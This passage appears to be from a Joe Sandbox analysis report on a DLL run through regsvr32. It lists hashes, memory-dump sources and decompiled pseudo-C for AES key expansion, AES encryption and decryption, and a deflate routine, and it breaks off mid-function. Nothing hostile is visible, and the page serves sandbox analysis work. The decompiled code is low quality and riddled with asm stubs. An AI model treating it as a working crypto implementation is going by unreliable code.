Instruction ID: 82285ed8e640d8754b47002e500670d4eba4289a01e2bcb4c1985f1c1e1113c4
Opcode Fuzzy Hash: a7bdbea8d6fda3612e62fcd8e8be9f69f1c92f4af54b4a887407abcb1a8b3ae8
Instruction Fuzzy Hash: DF322672804608EFEF04EFA0C486BAEBBF4FF44312F1584AED885AA155D7745264CF69

Uniqueness

Uniqueness Score: -1.00%

Function 100110C0, Relevance: .4, Instructions: 374
COMMONCrypto

Download Yara Rule

C-Code - Quality: 48%

			E100110C0(signed int __eax, signed int* _a4, intOrPtr _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				signed int* _v16;
				signed int _t247;
				void* _t395;

				_t247 = __eax;
				_v8 = _v8 & 0x00000000;
				if(_a4 == 0 || _a12 == 0) {
					return _t247 | 0xffffffff;
				} else {
					if(_a8 == 0x80 || _a8 == 0xc0 || _a8 == 0x100) {
						_v16 = _a12;
						if(_a8 != 0x80) {
							if(_a8 != 0xc0) {
								 *((intOrPtr*)(_a12 + 0xf0)) = 0xe;
							} else {
								 *((intOrPtr*)(_a12 + 0xf0)) = 0xc;
							}
						} else {
							 *((intOrPtr*)(_a12 + 0xf0)) = 0xa;
						}
						asm("rol eax, 0x8");
						asm("ror ecx, 0x8");
						 *_v16 =  *_a4 & 0x00ff00ff |  *_a4 & 0xff00ff00;
						asm("rol eax, 0x8");
						asm("ror ecx, 0x8");
						_v16[1] = _a4[1] & 0x00ff00ff | _a4[1] & 0xff00ff00;
						asm("rol eax, 0x8");
						asm("ror ecx, 0x8");
						_v16[2] = _a4[2] & 0x00ff00ff | _a4[2] & 0xff00ff00;
						asm("rol eax, 0x8");
						asm("ror ecx, 0x8");
						_v16[3] = _a4[3] & 0x00ff00ff | _a4[3] & 0xff00ff00;
						if(_a8 != 0x80) {
							L17:
							asm("rol eax, 0x8");
							asm("ror ecx, 0x8");
							_v16[4] = _a4[4] & 0x00ff00ff | _a4[4] & 0xff00ff00;
							asm("rol eax, 0x8");
							asm("ror ecx, 0x8");
							_v16[5] = _a4[5] & 0x00ff00ff | _a4[5] & 0xff00ff00;
							if(_a8 != 0xc0) {
								L22:
								asm("rol eax, 0x8");
								asm("ror ecx, 0x8");
								_v16[6] = _a4[6] & 0x00ff00ff | _a4[6] & 0xff00ff00;
								asm("rol eax, 0x8");
								asm("ror ecx, 0x8");
								_v16[7] = _a4[7] & 0x00ff00ff | _a4[7] & 0xff00ff00;
								if(_a8 != 0x100) {
									L27:
									return 0;
								}
								while(1 != 0) {
									_v12 = _v16[7];
									_v16[8] =  *(0x10025778 + (_v12 >> 0x00000010 & 0x000000ff) * 4) & 0xff000000 ^  *_v16 ^  *(0x10025b78 + (_v12 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x10024f78 + (_v12 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x10025378 + (_v12 >> 0x18) * 4) & 0x000000ff ^  *(0x10024f3c + _v8 * 4);
									_v16[9] = _v16[1] ^ _v16[8];
									_v16[0xa] = _v16[2] ^ _v16[9];
									_v16[0xb] = _v16[3] ^ _v16[0xa];
									_v8 = _v8 + 1;
									if(_v8 != 7) {
										_v12 = _v16[0xb];
										_v16[0xc] =  *(0x10025778 + (_v12 >> 0x18) * 4) & 0xff000000 ^ _v16[4] ^  *(0x10025b78 + (_v12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x10024f78 + (_v12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x10025378 + (_v12 & 0x000000ff) * 4) & 0x000000ff;
										_v16[0xd] = _v16[5] ^ _v16[0xc];
										_v16[0xe] = _v16[6] ^ _v16[0xd];
										_v16[0xf] = _v16[7] ^ _v16[0xe];
										_v16 =  &(_v16[8]);
										continue;
									}
									return 0;
								}
								goto L27;
							}
							while(1 != 0) {
								_v12 = _v16[5];
								_v16[6] =  *(0x10025778 + (_v12 >> 0x00000010 & 0x000000ff) * 4) & 0xff000000 ^  *_v16 ^  *(0x10025b78 + (_v12 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x10024f78 + (_v12 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x10025378 + (_v12 >> 0x18) * 4) & 0x000000ff ^  *(0x10024f3c + _v8 * 4);
								_v16[7] = _v16[1] ^ _v16[6];
								_v16[8] = _v16[2] ^ _v16[7];
								_v16[9] = _v16[3] ^ _v16[8];
								_v8 = _v8 + 1;
								if(_v8 != 8) {
									_v16[0xa] = _v16[4] ^ _v16[9];
									_v16[0xb] = _v16[5] ^ _v16[0xa];
									_v16 =  &(_v16[6]);
									continue;
								}
								return 0;
							}
							goto L22;
						} else {
							while(1 != 0) {
								_v12 = _v16[3];
								_v16[4] =  *(0x10025778 + (_v12 >> 0x00000010 & 0x000000ff) * 4) & 0xff000000 ^  *_v16 ^  *(0x10025b78 + (_v12 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x10024f78 + (_v12 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x10025378 + (_v12 >> 0x18) * 4) & 0x000000ff ^  *(0x10024f3c + _v8 * 4);
								_v16[5] = _v16[1] ^ _v16[4];
								_v16[6] = _v16[2] ^ _v16[5];
								_v16[7] = _v16[3] ^ _v16[6];
								_v8 = _v8 + 1;
								if(_v8 != 0xa) {
									_v16 =  &(_v16[4]);
									continue;
								}
								return 0;
							}
							goto L17;
						}
					} else {
						_t395 = 0xfffffffe;
						return _t395;
					}
				}
			}

0x100110c0
0x100110c6
0x100110ce
0x00000000
0x100110de
0x100110e5
0x10011104
0x1001110e
0x10011126
0x1001113a
0x10011128
0x1001112b
0x1001112b
0x10011110
0x10011113
0x10011113
0x10011149
0x10011156
0x10011164
0x1001116c
0x1001117a
0x10011188
0x10011191
0x1001119f
0x100111ad
0x100111b6
0x100111c4
0x100111d2
0x100111dc
0x100112c0
0x100112c6
0x100112d4
0x100112e2
0x100112eb
0x100112f9
0x10011307
0x10011311
0x10011419
0x1001141f
0x1001142d
0x1001143b
0x10011444
0x10011452
0x10011460
0x1001146a
0x100115f9
0x00000000
0x100115f9
0x10011470
0x1001147f
0x100114f3
0x10011505
0x10011517
0x10011529
0x10011530
0x10011537
0x10011546
0x100115b2
0x100115c4
0x100115d6
0x100115e8
0x100115f1
0x00000000
0x100115f1
0x00000000
0x10011539
0x00000000
0x10011470
0x10011317
0x10011326
0x1001139a
0x100113ac
0x100113be
0x100113d0
0x100113d7
0x100113de
0x100113f6
0x10011408
0x10011411
0x00000000
0x10011411
0x00000000
0x100113e0
0x00000000
0x100111e2
0x100111e2
0x100111f1
0x10011265
0x10011277
0x10011289
0x1001129b
0x100112a2
0x100112a9
0x100112b8
0x00000000
0x100112b8
0x00000000
0x100112ab
0x00000000
0x100111e2
0x100110f9
0x100110fb
0x00000000
0x100110fb
0x100110e5

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9030fe3c6ea44d30c55ce453f74776067ccda25d98160301a49da84425d267d
Instruction ID: d2b9f2857148fd13cc639da267991aad3e0a15b13134067773e58b75e38dbd5d
Opcode Fuzzy Hash: e9030fe3c6ea44d30c55ce453f74776067ccda25d98160301a49da84425d267d
Instruction Fuzzy Hash: 0D02A374E14509EFDB48CF58C8A0AA8B7F1EF48355F1584ADE8169B392CB35EA42DB40

Uniqueness

Uniqueness Score: -1.00%

Function 010D3820, Relevance: .4, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e087d27a12a7b97089437dafe6bf686f94bad4c80dd2d20039e2793b97b01772
Instruction ID: ed6797666fd68c6bdf59878885a08e02020745830b78abbf791254c79613af93
Opcode Fuzzy Hash: e087d27a12a7b97089437dafe6bf686f94bad4c80dd2d20039e2793b97b01772
Instruction Fuzzy Hash: 60026D7280461ADFEF00EFA0C8897AEBBF0FF48312F05496ED9949A145D7745264CF69

Uniqueness

Uniqueness Score: -1.00%

Function 10010A6B, Relevance: .3, Instructions: 342COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9536fb523f2eac3f99fa0208b8f482c87e8f3bccdc9638707c8c6d302a155f5b
Instruction ID: 2ab3a511669e42e8c9109651c9ed8f0488820b72fdfff6fd22cb9397057c9760
Opcode Fuzzy Hash: 9536fb523f2eac3f99fa0208b8f482c87e8f3bccdc9638707c8c6d302a155f5b
Instruction Fuzzy Hash: 6AF14674E2121A9FDB48CFACD990AEEBBF1FF08350B554929E415FB301D634AA41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 10011968, Relevance: .3, Instructions: 336
COMMONCrypto

Download Yara Rule

C-Code - Quality: 56%

			E10011968(signed int* _a4, signed int* _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int* _v40;
				unsigned int _v44;
				signed int _t283;
				signed int _t355;

				_v40 = _a12;
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_v12 = ( *_a4 & 0x00ff00ff |  *_a4 & 0xff00ff00) ^  *_v40;
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_v28 = (_a4[1] & 0x00ff00ff | _a4[1] & 0xff00ff00) ^ _v40[1];
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_v24 = (_a4[2] & 0x00ff00ff | _a4[2] & 0xff00ff00) ^ _v40[2];
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_v8 = (_a4[3] & 0x00ff00ff | _a4[3] & 0xff00ff00) ^ _v40[3];
				_v36 =  *(_a12 + 0xf0) >> 1;
				while(1) {
					_v44 =  *(0x10024f78 + (_v12 >> 0x18) * 4) ^  *(0x10025378 + (_v28 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10025778 + (_v24 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10025b78 + (_v8 & 0x000000ff) * 4) ^ _v40[4];
					_v32 =  *(0x10024f78 + (_v28 >> 0x18) * 4) ^  *(0x10025378 + (_v24 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10025778 + (_v8 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10025b78 + (_v12 & 0x000000ff) * 4) ^ _v40[5];
					_v16 =  *(0x10024f78 + (_v24 >> 0x18) * 4) ^  *(0x10025378 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10025778 + (_v12 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10025b78 + (_v28 & 0x000000ff) * 4) ^ _v40[6];
					_v20 =  *(0x10024f78 + (_v8 >> 0x18) * 4) ^  *(0x10025378 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10025778 + (_v28 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10025b78 + (_v24 & 0x000000ff) * 4) ^ _v40[7];
					_v40 =  &(_v40[8]);
					_t283 = _v36 - 1;
					_v36 = _t283;
					if(_t283 == 0) {
						break;
					}
					_v12 =  *(0x10024f78 + (_v44 >> 0x18) * 4) ^  *(0x10025378 + (_v32 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10025778 + (_v16 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10025b78 + (_v20 & 0x000000ff) * 4) ^  *_v40;
					_v28 =  *(0x10024f78 + (_v32 >> 0x18) * 4) ^  *(0x10025378 + (_v16 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10025778 + (_v20 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10025b78 + (_v44 & 0x000000ff) * 4) ^ _v40[1];
					_v24 =  *(0x10024f78 + (_v16 >> 0x18) * 4) ^  *(0x10025378 + (_v20 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10025778 + (_v44 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10025b78 + (_v32 & 0x000000ff) * 4) ^ _v40[2];
					_v8 =  *(0x10024f78 + (_v20 >> 0x18) * 4) ^  *(0x10025378 + (_v44 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10025778 + (_v32 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10025b78 + (_v16 & 0x000000ff) * 4) ^ _v40[3];
				}
				_v12 =  *(0x10025778 + (_v44 >> 0x18) * 4) & 0xff000000 ^  *(0x10025b78 + (_v32 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x10024f78 + (_v16 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x10025378 + (_v20 & 0x000000ff) * 4) & 0x000000ff ^  *_v40;
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				 *_a8 = _v12 & 0x00ff00ff | _v12 & 0xff00ff00;
				_v28 =  *(0x10025778 + (_v32 >> 0x18) * 4) & 0xff000000 ^  *(0x10025b78 + (_v16 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x10024f78 + (_v20 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x10025378 + (_v44 & 0x000000ff) * 4) & 0x000000ff ^ _v40[1];
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_a8[1] = _v28 & 0x00ff00ff | _v28 & 0xff00ff00;
				_v24 =  *(0x10025778 + (_v16 >> 0x18) * 4) & 0xff000000 ^  *(0x10025b78 + (_v20 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x10024f78 + (_v44 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x10025378 + (_v32 & 0x000000ff) * 4) & 0x000000ff ^ _v40[2];
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_a8[2] = _v24 & 0x00ff00ff | _v24 & 0xff00ff00;
				_v8 =  *(0x10025778 + (_v20 >> 0x18) * 4) & 0xff000000 ^  *(0x10025b78 + (_v44 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0x10024f78 + (_v32 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0x10025378 + (_v16 & 0x000000ff) * 4) & 0x000000ff ^ _v40[3];
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_t355 = _v8 & 0x00ff00ff | _v8 & 0xff00ff00;
				_a8[3] = _t355;
				return _t355;
			}

0x10011971
0x10011979
0x10011986
0x10011996
0x1001199f
0x100119ad
0x100119be
0x100119c7
0x100119d5
0x100119e6
0x100119ef
0x100119fd
0x10011a0e
0x10011a1c
0x10011a1f
0x10011a68
0x10011ab4
0x10011b00
0x10011b4c
0x10011b55
0x10011b5b
0x10011b5c
0x10011b5f
0x00000000
0x00000000
0x10011bae
0x10011bfa
0x10011c46
0x10011c92
0x10011c92
0x10011cff
0x10011d05
0x10011d10
0x10011d1e
0x10011d86
0x10011d8c
0x10011d97
0x10011da5
0x10011e0e
0x10011e14
0x10011e1f
0x10011e2d
0x10011e96
0x10011e9c
0x10011ea7
0x10011eb0
0x10011eb5
0x10011eb9

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcbf5e4fb3410fe95b27070f18be138abfdb48f005a68367f074f148c74233ac
Instruction ID: d1f99f34e1ecd439edbfd297c34b11940c073f0176da76ce95c68c9b4009aed3
Opcode Fuzzy Hash: fcbf5e4fb3410fe95b27070f18be138abfdb48f005a68367f074f148c74233ac
Instruction Fuzzy Hash: A7F11771E245098BEB08DF58D8A0BBDB7F1EF89351F15042CD207AB282CB36EA51DB54

Uniqueness

Uniqueness Score: -1.00%

Function 10011EBA, Relevance: .3, Instructions: 332
COMMONCrypto

Download Yara Rule

C-Code - Quality: 56%

			E10011EBA(signed int* _a4, signed int* _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				unsigned int _v32;
				signed int _v36;
				signed int* _v40;
				unsigned int _v44;
				signed int _t267;
				signed int _t339;

				_v40 = _a12;
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_v12 = ( *_a4 & 0x00ff00ff |  *_a4 & 0xff00ff00) ^  *_v40;
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_v28 = (_a4[1] & 0x00ff00ff | _a4[1] & 0xff00ff00) ^ _v40[1];
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_v24 = (_a4[2] & 0x00ff00ff | _a4[2] & 0xff00ff00) ^ _v40[2];
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_v8 = (_a4[3] & 0x00ff00ff | _a4[3] & 0xff00ff00) ^ _v40[3];
				_v36 =  *(_a12 + 0xf0) >> 1;
				while(1) {
					_v44 =  *(0x10025f78 + (_v12 >> 0x18) * 4) ^  *(0x10026378 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10026778 + (_v24 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10026b78 + (_v28 & 0x000000ff) * 4) ^ _v40[4];
					_v32 =  *(0x10025f78 + (_v28 >> 0x18) * 4) ^  *(0x10026378 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10026778 + (_v8 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10026b78 + (_v24 & 0x000000ff) * 4) ^ _v40[5];
					_v16 =  *(0x10025f78 + (_v24 >> 0x18) * 4) ^  *(0x10026378 + (_v28 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10026778 + (_v12 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10026b78 + (_v8 & 0x000000ff) * 4) ^ _v40[6];
					_v20 =  *(0x10025f78 + (_v8 >> 0x18) * 4) ^  *(0x10026378 + (_v24 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10026778 + (_v28 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10026b78 + (_v12 & 0x000000ff) * 4) ^ _v40[7];
					_v40 =  &(_v40[8]);
					_t267 = _v36 - 1;
					_v36 = _t267;
					if(_t267 == 0) {
						break;
					}
					_v12 =  *(0x10025f78 + (_v44 >> 0x18) * 4) ^  *(0x10026378 + (_v20 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10026778 + (_v16 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10026b78 + (_v32 & 0x000000ff) * 4) ^  *_v40;
					_v28 =  *(0x10025f78 + (_v32 >> 0x18) * 4) ^  *(0x10026378 + (_v44 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10026778 + (_v20 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10026b78 + (_v16 & 0x000000ff) * 4) ^ _v40[1];
					_v24 =  *(0x10025f78 + (_v16 >> 0x18) * 4) ^  *(0x10026378 + (_v32 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10026778 + (_v44 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10026b78 + (_v20 & 0x000000ff) * 4) ^ _v40[2];
					_v8 =  *(0x10025f78 + (_v20 >> 0x18) * 4) ^  *(0x10026378 + (_v16 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x10026778 + (_v32 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x10026b78 + (_v44 & 0x000000ff) * 4) ^ _v40[3];
				}
				_v12 = ( *((_v44 >> 0x18) + 0x10026f78) & 0x000000ff) << 0x00000018 ^ ( *((_v20 >> 0x00000010 & 0x000000ff) + 0x10026f78) & 0x000000ff) << 0x00000010 ^ ( *((_v16 >> 0x00000008 & 0x000000ff) + 0x10026f78) & 0x000000ff) << 0x00000008 ^  *((_v32 & 0x000000ff) + 0x10026f78) & 0x000000ff ^  *_v40;
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				 *_a8 = _v12 & 0x00ff00ff | _v12 & 0xff00ff00;
				_v28 = ( *((_v32 >> 0x18) + 0x10026f78) & 0x000000ff) << 0x00000018 ^ ( *((_v44 >> 0x00000010 & 0x000000ff) + 0x10026f78) & 0x000000ff) << 0x00000010 ^ ( *((_v20 >> 0x00000008 & 0x000000ff) + 0x10026f78) & 0x000000ff) << 0x00000008 ^  *((_v16 & 0x000000ff) + 0x10026f78) & 0x000000ff ^ _v40[1];
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_a8[1] = _v28 & 0x00ff00ff | _v28 & 0xff00ff00;
				_v24 = ( *((_v16 >> 0x18) + 0x10026f78) & 0x000000ff) << 0x00000018 ^ ( *((_v32 >> 0x00000010 & 0x000000ff) + 0x10026f78) & 0x000000ff) << 0x00000010 ^ ( *((_v44 >> 0x00000008 & 0x000000ff) + 0x10026f78) & 0x000000ff) << 0x00000008 ^  *((_v20 & 0x000000ff) + 0x10026f78) & 0x000000ff ^ _v40[2];
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_a8[2] = _v24 & 0x00ff00ff | _v24 & 0xff00ff00;
				_v8 = ( *((_v20 >> 0x18) + 0x10026f78) & 0x000000ff) << 0x00000018 ^ ( *((_v16 >> 0x00000010 & 0x000000ff) + 0x10026f78) & 0x000000ff) << 0x00000010 ^ ( *((_v32 >> 0x00000008 & 0x000000ff) + 0x10026f78) & 0x000000ff) << 0x00000008 ^  *((_v44 & 0x000000ff) + 0x10026f78) & 0x000000ff ^ _v40[3];
				asm("rol eax, 0x8");
				asm("ror ecx, 0x8");
				_t339 = _v8 & 0x00ff00ff | _v8 & 0xff00ff00;
				_a8[3] = _t339;
				return _t339;
			}

0x10011ec3
0x10011ecb
0x10011ed8
0x10011ee8
0x10011ef1
0x10011eff
0x10011f10
0x10011f19
0x10011f27
0x10011f38
0x10011f41
0x10011f4f
0x10011f60
0x10011f6e
0x10011f71
0x10011fba
0x10012006
0x10012052
0x1001209e
0x100120a7
0x100120ad
0x100120ae
0x100120b1
0x00000000
0x00000000
0x10012100
0x1001214c
0x10012198
0x100121e4
0x100121e4
0x10012243
0x10012249
0x10012254
0x10012262
0x100122bc
0x100122c2
0x100122cd
0x100122db
0x10012336
0x1001233c
0x10012347
0x10012355
0x100123b0
0x100123b6
0x100123c1
0x100123ca
0x100123cf
0x100123d3

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2915d133b50f9816b82e91fcd06dab4e8ac2b0f67e69c759076376b71b5ac9e
Instruction ID: e9d77375b5ad399f1e24f8c755936ea3205a2bd52951c98945cdafef12b11c68
Opcode Fuzzy Hash: b2915d133b50f9816b82e91fcd06dab4e8ac2b0f67e69c759076376b71b5ac9e
Instruction Fuzzy Hash: D8F11B70E241598BEB49DF5CD8A0ABDB7F1EF4D300F65047DD116EB282CA35AA42DB50

Uniqueness

Uniqueness Score: -1.00%

Function 10005394, Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e151261b4300bd97f5d0d784f703da0054cc03998659bdfde349371c5385bd76
Instruction ID: fed88c4e264479ae8b91f0e183a884d94828d7b15b72fd0b8e6a3bc67ae2882c
Opcode Fuzzy Hash: e151261b4300bd97f5d0d784f703da0054cc03998659bdfde349371c5385bd76
Instruction Fuzzy Hash: FCE1EE74904289EFDF05CF68C991AEE7BF0EF19349F148499E855A7351C331AAA0EF90

Uniqueness

Uniqueness Score: -1.00%

Function 10014CBF, Relevance: .3, Instructions: 315
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E10014CBF(signed int __ecx, signed int _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				intOrPtr _t186;
				intOrPtr _t189;
				signed char _t191;
				unsigned int _t198;
				signed char _t206;
				unsigned int _t211;
				unsigned int _t212;
				signed int _t213;
				intOrPtr _t217;
				signed int _t222;
				signed int _t225;
				intOrPtr _t235;
				signed int _t241;
				signed int _t247;
				intOrPtr _t255;
				intOrPtr* _t266;
				signed int _t268;
				unsigned int _t269;
				unsigned int _t273;
				signed char _t280;
				unsigned int _t283;
				signed int _t289;
				signed short _t290;
				unsigned int _t299;
				unsigned int _t308;
				unsigned int _t309;
				signed int _t312;
				signed int _t319;
				signed int _t322;
				intOrPtr _t327;
				void* _t345;
				unsigned int _t374;

				_t267 = __ecx;
				_t266 = _a4;
				goto L1;
				do {
					do {
						while(1) {
							L1:
							_t186 =  *((intOrPtr*)(_t266 + 0x74));
							if(_t186 >= 0x106) {
								goto L5;
							}
							E10014686(_t267, _t266);
							_t186 =  *((intOrPtr*)(_t266 + 0x74));
							if(_t186 >= 0x106 || _a8 != 0) {
								if(_t186 == 0) {
									__eflags =  *(_t266 + 0x68);
									if( *(_t266 + 0x68) != 0) {
										_t280 =  *((intOrPtr*)( *(_t266 + 0x6c) +  *((intOrPtr*)(_t266 + 0x38)) - 1));
										 *( *((intOrPtr*)(_t266 + 0x16a4)) +  *(_t266 + 0x16a0) * 2) = 0;
										 *( *(_t266 + 0x1698) +  *(_t266 + 0x16a0)) = _t280;
										 *(_t266 + 0x16a0) =  *(_t266 + 0x16a0) + 1;
										 *((short*)(_t266 + 0x94 + (_t280 & 0x000000ff) * 4)) =  *((short*)(_t266 + 0x94 + (_t280 & 0x000000ff) * 4)) + 1;
										_t167 = _t266 + 0x68;
										 *_t167 =  *(_t266 + 0x68) & 0;
										__eflags =  *_t167;
									}
									_t247 =  *(_t266 + 0x6c);
									_t268 = 2;
									__eflags = _t247 - _t268;
									if(_t247 < _t268) {
										_t268 = _t247;
									}
									__eflags = _a8 - 4;
									 *(_t266 + 0x16b4) = _t268;
									if(_a8 != 4) {
										__eflags =  *(_t266 + 0x16a0);
										if( *(_t266 + 0x16a0) == 0) {
											L54:
											return 1;
										}
										_t308 =  *(_t266 + 0x5c);
										__eflags = _t308;
										if(_t308 < 0) {
											_t269 = 0;
											__eflags = 0;
										} else {
											_t269 =  *((intOrPtr*)(_t266 + 0x38)) + _t308;
										}
										E10016660(_t266, _t269, _t308, 0, _t269, _t247 - _t308);
										 *(_t266 + 0x5c) =  *(_t266 + 0x6c);
										E10013DB1( *_t266, __eflags);
										_t255 =  *_t266;
										__eflags =  *(_t255 + 0x10);
										if( *(_t255 + 0x10) == 0) {
											goto L37;
										} else {
											goto L54;
										}
									} else {
										_t309 =  *(_t266 + 0x5c);
										__eflags = _t309;
										if(_t309 < 0) {
											_t273 = 0;
											__eflags = 0;
										} else {
											_t273 =  *((intOrPtr*)(_t266 + 0x38)) + _t309;
										}
										E10016660(_t266, _t273, _t309, 1, _t273, _t247 - _t309);
										 *(_t266 + 0x5c) =  *(_t266 + 0x6c);
										E10013DB1( *_t266, __eflags);
										__eflags =  *( *_t266 + 0x10);
										_t179 = (0 |  *( *_t266 + 0x10) != 0x00000000) + 2; // 0x2
										return _t179;
									}
								}
							} else {
								goto L37;
							}
							L5:
							_t267 = 0;
							if(_t186 >= 3) {
								_t312 =  *(_t266 + 0x6c);
								_t241 = ( *(_t266 + 0x48) <<  *(_t266 + 0x58) ^  *( *((intOrPtr*)(_t266 + 0x38)) + _t312 + 2) & 0x000000ff) &  *(_t266 + 0x54);
								 *(_t266 + 0x48) = _t241;
								 *((short*)( *((intOrPtr*)(_t266 + 0x40)) + ( *(_t266 + 0x34) & _t312) * 2)) =  *((intOrPtr*)( *(_t266 + 0x44) + _t241 * 2));
